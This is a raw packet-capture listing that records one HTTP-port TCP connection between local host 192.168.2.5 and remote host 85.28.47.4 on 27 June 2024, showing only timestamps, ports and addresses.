Jun 27, 2024 07:37:15.811201096 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.811201096 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.811203957 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.811216116 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.811223030 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.811280012 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.811280012 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.811577082 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.811589956 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.811599970 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.811609983 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.811619997 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.811638117 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.811649084 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.811651945 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.811651945 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.811660051 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.811671972 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.811682940 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.811692953 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.811693907 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.811692953 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.811706066 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.811726093 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.811803102 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.812232018 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.812242985 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.812254906 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.812267065 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.812278032 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.812282085 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.812288046 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.812298059 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.812309027 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.812316895 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.812316895 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.812320948 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.812331915 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.812342882 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.812350035 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.812354088 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.812365055 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.812374115 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.812375069 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.812386990 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.812397957 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.812398911 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.812411070 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.812431097 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.812431097 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.812448978 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.813031912 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.813050032 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.813060999 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.813070059 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.813071966 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.813082933 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.813097954 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.813097954 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.813111067 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.813121080 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.813122988 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.813134909 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.813146114 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.813157082 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.813159943 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.813172102 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.813173056 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.813183069 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.813194036 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.813200951 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.813205957 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.813215971 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.813221931 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.813226938 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.813239098 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.813245058 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.813250065 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.813287973 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.813287973 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.813340902 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.813813925 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.814007044 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.814018011 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.814023972 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.814028025 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.814039946 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.814050913 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.814063072 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.814071894 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.814076900 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.814076900 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.814083099 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.814095974 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.814106941 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.814119101 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.814129114 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.814141035 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.814151049 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.814151049 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.814151049 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.814153910 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.814166069 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.814177036 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.814188004 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.814222097 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.814223051 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.814239025 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.814727068 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.814733028 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.814743996 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.814754963 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.814765930 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.814775944 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.814784050 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.814786911 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.814799070 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.814810038 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.814821005 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.814831018 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.814841986 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.814851999 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.814860106 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.814860106 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.814861059 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.814860106 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.814872026 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.814882994 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.814886093 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.814898014 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.814924002 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.814953089 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.815213919 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.815275908 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.815339088 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.815350056 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.815361023 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.815371990 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.815382957 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.815393925 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.815395117 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.815395117 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.815403938 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.815414906 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.815426111 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.815435886 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.815448999 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.815448999 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.815483093 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.897243977 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.897298098 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.897300005 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.897310972 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.897355080 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.897456884 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.897475958 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.897481918 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.897525072 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.897646904 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.897665977 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.897672892 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.897679090 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.897687912 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.897718906 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.897780895 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.897833109 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.897891045 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.897902012 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.897912025 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.897923946 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.897934914 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.897938013 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.897945881 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.897953987 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.897958040 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.897969961 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.897981882 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.897999048 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.898025036 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.898243904 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.898287058 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.898329020 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.898340940 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.898351908 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.898363113 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.898372889 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.898382902 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.898386955 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.898422003 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.898437977 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.898603916 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.898614883 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.898624897 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.898639917 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.898668051 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.898756027 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.898757935 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.898761034 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.898766041 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.898771048 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.898776054 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.898781061 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.898787022 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.898791075 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.898796082 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.898801088 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.898854971 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.899458885 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.899471045 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.899480104 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.899490118 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.899502039 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.899512053 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.899523973 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.899538040 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.899548054 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.899558067 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.899568081 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.899579048 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.899590015 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.899600029 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.899611950 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.899621010 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.899631023 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.899641991 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.899652958 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.899662971 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.899774075 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.900388002 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.900398970 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.900408030 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.900419950 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.900429964 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.900439978 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.900444984 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.900449991 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.900461912 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.900464058 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.900471926 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.900489092 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.900499105 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.900499105 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.900509119 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.900511026 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.900521040 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.900530100 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.900532007 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.900542021 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.900552034 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.900562048 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.900562048 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.900572062 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.900594950 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.900612116 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.901212931 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.901223898 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.901235104 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.901247025 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.901258945 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.901269913 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.901279926 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.901288986 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.901289940 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.901302099 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.901312113 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.901313066 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.901323080 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.901334047 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.901336908 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.901345015 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.901402950 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.901402950 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.901597023 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.901608944 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.901662111 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.901748896 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.901760101 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.901770115 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.901781082 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.901791096 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.901793957 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.901802063 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.901813030 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.901813984 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.901823044 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.901834011 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.901834965 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.901845932 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.901853085 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.901855946 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.901859045 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.901885033 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.901911974 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.902420998 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.902437925 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.902447939 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.902458906 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.902466059 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.902476072 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.902483940 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.902486086 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.902487040 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.902487993 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.902489901 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.902494907 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.902501106 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.902513027 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.902523994 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.902533054 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.902535915 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.902544975 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.902574062 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.902586937 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.984535933 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.984551907 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.984564066 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.984594107 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.984600067 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.984606028 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.984618902 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.984627008 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.984631062 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.984664917 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.984863043 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.984874964 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.984886885 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.984898090 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.984904051 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.984910011 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.984922886 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.984935999 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.984975100 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.985105991 CEST	80	49705	85.28.47.4	192.168.2.5
